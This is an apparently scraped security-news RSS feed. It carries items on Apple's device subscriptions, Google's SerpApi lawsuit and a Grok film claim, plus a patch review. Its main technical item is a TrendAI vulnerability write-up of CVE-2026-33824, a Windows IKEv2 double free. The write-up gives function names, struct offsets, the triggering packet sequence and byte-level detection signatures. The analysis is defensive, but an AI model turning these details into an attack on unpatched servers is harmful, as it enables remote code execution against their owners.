<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google’s anti-search-scraping lawsuit dismissed]]></title>
<description><![CDATA[A court has dismissed Google’s case against SerpApi over that company’s scraping of search results to train AI models.



The US District Court for the Northern District of California found that there was no indication that any copyright had been breached.



Google announced in December that it ...]]></description>
<link>https://tsecurity.de/de/3694764/ai-nachrichten/googles-anti-search-scraping-lawsuit-dismissed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694764/ai-nachrichten/googles-anti-search-scraping-lawsuit-dismissed/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:05 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A court has dismissed <a href="https://storage.courtlistener.com/recap/gov.uscourts.cand.461513/gov.uscourts.cand.461513.42.0.pdf" target="_blank" rel="noreferrer noopener">Google’s case against SerpApi</a> over that company’s scraping of search results to train AI models.</p>



<p class="wp-block-paragraph">The US District Court for the Northern District of California found that there was no indication that any copyright had been breached.</p>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4111155/google-says-no-to-training-ai-on-its-search-results.html">Google announced in December</a> that it was suing SerpApI for its alleged web scraping, claiming that it was protecting copyright holders. In February<a href="https://www.computerworld.com/article/4136288/serpapi-fights-back-against-google-lawsuit.html">, SerpApI fought back and asked the court</a> to dismiss Google’s case. And this week, Judge Yvonne Gonzalez Rogers agreed with SerpApi that Google’s case has no merit.</p>



<p class="wp-block-paragraph">Google’s argument was that SerpApi’s actions breached the US Digital Millennium Copyright Act (DCMA). It made two claims: first, that no person shall circumvent a technological measure that effectively controls access to a work protected under this title, and second that no person shall manufacture, import, offer to the public, provide, or otherwise traffic in any technology, product, service, device, or component protected by the Act.</p>



<p class="wp-block-paragraph">SerpApi claimed that the URLs and other links that were being served by Google did not in themselves entail copyright and the judge agreed. In her judgment, she said that there was no indication that the copyright holders had authorized Google to take action against SerpApi.</p>



<p class="wp-block-paragraph">The case is not completely over as the judge has given Google 21 days to amend its complaint to demonstrate that it was acting on behalf of the copyright owners. It remains to be seen whether its war against the web scrapers is finally over.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Elon Musk says Grok Imagine will make ‘historically accurate’ AI adaptation of Homer’s Odyssey]]></title>
<description><![CDATA[The billionaire says the AI-generated film will stay true to Homer’s original, after repeatedly criticising Christopher Nolan’s blockbuster over its casting choicesElon Musk has said his AI platform Grok Imagine will make a “historically accurate” adaptation of Homer’s Odyssey, after the success ...]]></description>
<link>https://tsecurity.de/de/3694762/ai-nachrichten/elon-musk-says-grok-imagine-will-make-historically-accurate-ai-adaptation-of-homers-odyssey/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694762/ai-nachrichten/elon-musk-says-grok-imagine-will-make-historically-accurate-ai-adaptation-of-homers-odyssey/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:02 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The billionaire says the AI-generated film will stay true to Homer’s original, after repeatedly criticising Christopher Nolan’s blockbuster over its casting choices</p><p>Elon Musk has said his AI platform Grok Imagine will make a “historically accurate” adaptation of Homer’s Odyssey, after the success of Christopher Nolan’s blockbusting treatment which the SpaceX founder has regularly criticised over its casting.</p><p><a href="https://x.com/elonmusk/status/2079758604656316619">In a post on X</a>, Musk said: “Before this year ends, Grok Imagine will make a full-length movie of The Odyssey that is historically accurate and true to the art of Homer.” Musk also linked to a post containing a three-minute clip of footage that the user said had been generated from Grok Imagine, showing a scene between Odysseus and the nymph Calypso.</p> <a href="https://www.theguardian.com/film/2026/jul/22/elon-musk-grok-imagine-historically-accurate-ai-homers-odyssey-christopher-nolan">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[ESET Threat Report H2 2025]]></title>
<description><![CDATA[A view of the H2 2025 threat landscape as seen by ESET telemetry and from the perspective of ESET threat detection and research experts]]></description>
<link>https://tsecurity.de/de/3694662/malware-trojaner-viren/eset-threat-report-h2-2025/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694662/malware-trojaner-viren/eset-threat-report-h2-2025/</guid>
<pubDate>Sat, 25 Jul 2026 19:04:52 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A view of the H2 2025 threat landscape as seen by ESET telemetry and from the perspective of ESET threat detection and research experts]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-33824: Remote Code Execution in Windows IKEv2]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Richard Chen and Lucas Miller of the TrendAI Research team detail a recently patched double free vulnerability in the Windows Internet Key Exchange (IKE) service. This bug was originally discovered by WARP & MORSE team at Micros...]]></description>
<link>https://tsecurity.de/de/3694570/hacking/cve-2026-33824-remote-code-execution-in-windows-ikev2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694570/hacking/cve-2026-33824-remote-code-execution-in-windows-ikev2/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:57 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Richard Chen and Lucas Miller of the TrendAI Research team detail a recently patched double free vulnerability in the Windows Internet Key Exchange (IKE) service. This bug was originally discovered by</em> <em>WARP &amp; MORSE team at Microsoft. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution. The following is a portion of their write-up covering CVE-2026-33824, with a few minimal modifications.</em></p>





















  
  




  



  <hr>
  
    
    



  




  <p class="">A double free vulnerability has been reported in the Windows Internet Key Exchange (IKEv2) service. The vulnerability is due to an error when processing fragments.</p><p class="">An unauthenticated, remote attacker could exploit this vulnerability by sending crafted packets to the target server. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution.</p><p class=""><strong>The Vulnerability</strong></p><p class="">Microsoft Windows is an operating system which includes both server and desktop components along with an easy-to-use GUI. All currently supported versions of Windows include Internet Key Exchange Protocol Extensions to support the Virtual Private Network (VPN) feature.</p><p class="">The VPN feature of Windows encrypts communication between hosts. ISAKMP is a negotiation protocol used by IPsec-enabled hosts to build a security association. It uses the <a href="https://datatracker.ietf.org/doc/html/rfc7296">Internet Key Exchange (IKE) Protocol</a> in order to negotiate keys for encrypted communication. IKE has two versions: IKEv1 and IKEv2. IKE version 1 (IKEv1) and version 2 (IKEv2) messages have the following general format:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">The type of <em>payload</em> is determined by the <em>Next Payload</em> header of the previous <em>payload</em>, or the <em>Next Payload</em> field in the header (in the case of the first payload).</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">IKEv2 supports message fragmentation as defined in <a href="https://datatracker.ietf.org/doc/html/rfc7383">RFC 7383</a>. When IKEv2 messages exceed the path MTU, they may be split into multiple Encrypted Fragment payloads. Of interest to this report is the Encrypted Fragment (SKF) payload (type 0x35). The SKF payload format is defined as:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>When an IKEv2 implementation receives fragments, it inserts each fragment into an ordered list and reassembles them once all fragments have been received. In the Windows implementation, the function <code>IkeReinjectReassembledPacket()</code> performs this reassembly.</p>
<p>A double-free vulnerability has been reported in the Windows IKE Extension library (ikeext.dll). The vulnerability is due to improper ownership handling of a heap-allocated blob pointer during IKEv2 fragment reassembly. During the IKE_SA_INIT exchange, a Security Realm Vendor ID payload causes <code>IkeHandleSecurityRealmVendorId()</code> to allocate a blob and store it in the MMSA (Main Mode Security Association) structure at offset 0x208. When a fragmented IKE_AUTH message is fully reassembled, <code>IkeReinjectReassembledPacket</code> copies MMSA fields at offsets 0x178 through 0x21F - including the blob pointer at 0x208 - into a local stack struct. This struct is then passed to <code>IkeQueueRecvRequest</code>, which shallow-copies it into a heap-allocated work item. While <code>IkeQueueRecvRequest</code> deep-copies the reassembly buffer at offset 0x10 in the struct, the Security Realm blob pointer at offset 0xC8 remains a shallow copy, aliasing the original at MMSA+0x208.</p>
<p>When the thread pool processes the queued work item, <code>IkeDestroyPacketContext</code> checks the blob pointer at offset 0xC8 and calls <code>WfpMemFree</code> to release it (first free). The MMSA structure still holds the original pointer to the same allocation at offset 0x208. When the MMSA is subsequently cleaned up through <code>IkeCleanupMMNegotiation</code>, the SA reference count is decremented via <code>IkeDerefMMSA</code>, eventually triggering <code>IkeFreeMMSA</code>, which frees the blob pointer at MMSA offset 0x208 - the same allocation already freed by <code>IkeDestroyPacketContext</code> (second free).</p>
<p>A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted IKE_SA_INIT message followed by two or more Encrypted Fragment (SKF) payloads containing an invalid IKE_AUTH message to the target server. The fragment reassembly path will shallow-copy the blob pointers, and the subsequent MMSA cleanup will trigger the double free. Successful exploitation could result in arbitrary code execution under the security context of the IKEEXT service (SYSTEM).</p>
<p><b data-preserve-html-node="true">Source Code Walkthrough</b></p>
<p>The following code snippets were taken from IKEEXT.DLL file version 10.0.20348.2849 and decompiled with IDA Pro version 8.3. Comments added by TrendAI have been highlighted.</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p><b data-preserve-html-node="true">Detection Guidance</b></p>
<p>To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on UDP ports 500 and 4500. The IKE general format, Payloads field, and the Encrypted Fragment (SKF) payload format can be seen above. </p>
<p>The detection device should monitor all incoming IKE traffic. Detection requires correlating two packets within the same IKE session: an IKE_SA_INIT request carrying the Microsoft Security Realm Vendor ID, followed by a fragmented IKE_AUTH request. Neither packet alone is malicious; both must be observed in sequence from the same source.</p>
<p><b data-preserve-html-node="true">IKE_SA_INIT</b></p>
<p>At byte offset 17 of the UDP payload, the device should check for the three-byte sequence <code>20 22 08</code>, which corresponds to the IKEv2 version identifier (0x20), the IKE_SA_INIT exchange type (0x22), and the Initiator flag (0x08). The device should then scan the remainder of the packet for the 16-byte sequence <code>68 6a 8c bd fe 63 4b 40 51 46 fb 2b af 33 e9 e8</code>, which is the Microsoft Security Realm Vendor ID. If both conditions are met, the device should follow the guidance below.</p>
<p><b data-preserve-html-node="true">IKE_AUTH</b></p>
<p>For subsequent packets from the same source, the device should check bytes at offset 16 through 23 of the UDP payload. At offset 16, the four-byte sequence <code>35 20 23 08</code> identifies an Encrypted Fragment payload (SKF, type 0x35), IKEv2 version (0x20), IKE_AUTH exchange type (0x23), and Initiator flag (0x08). If found, the detection device should inspect offset 20 and search for the four-byte sequence<code>00 00 00 01</code>. If found the traffic should be considered malicious; an attack exploiting this vulnerability is likely underway.</p>
<p>Notes<br>•	All multi-byte values should be treated as big endian.<br>•	When detecting traffic on port 4500, IKE packets are prepended by a 4-byte non-ESP marker (<code>\x00\x00\x00\x00</code>), shifting all IKE header content offsets by 4.</p>




  <p class=""><strong>Conclusion</strong></p><p class="">This vulnerability was <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-33824">patched</a> by Microsoft in the April 2026 release cycle. They do note two mitigations that could prevent exploitation while the patch is being tested and deployed. </p><p class="">·      Block inbound traffic on UDP ports 500 and 4500 for systems that do not use IKE. </p><p class="">·      For systems that require IKE, configure firewall rules to allow inbound traffic on UDP ports 500 and 4500 only from known peer addresses.</p><p class="">These mitigations may be removed once the security patch is applied. The only way to fully remediate the vulnerability is to apply the update from the vendor.</p><p class="">Special thanks to Richard Chen and Lucas Miller of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png" data-image-dimensions="2158x1150" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w" width="2158" height="1150" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  





  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
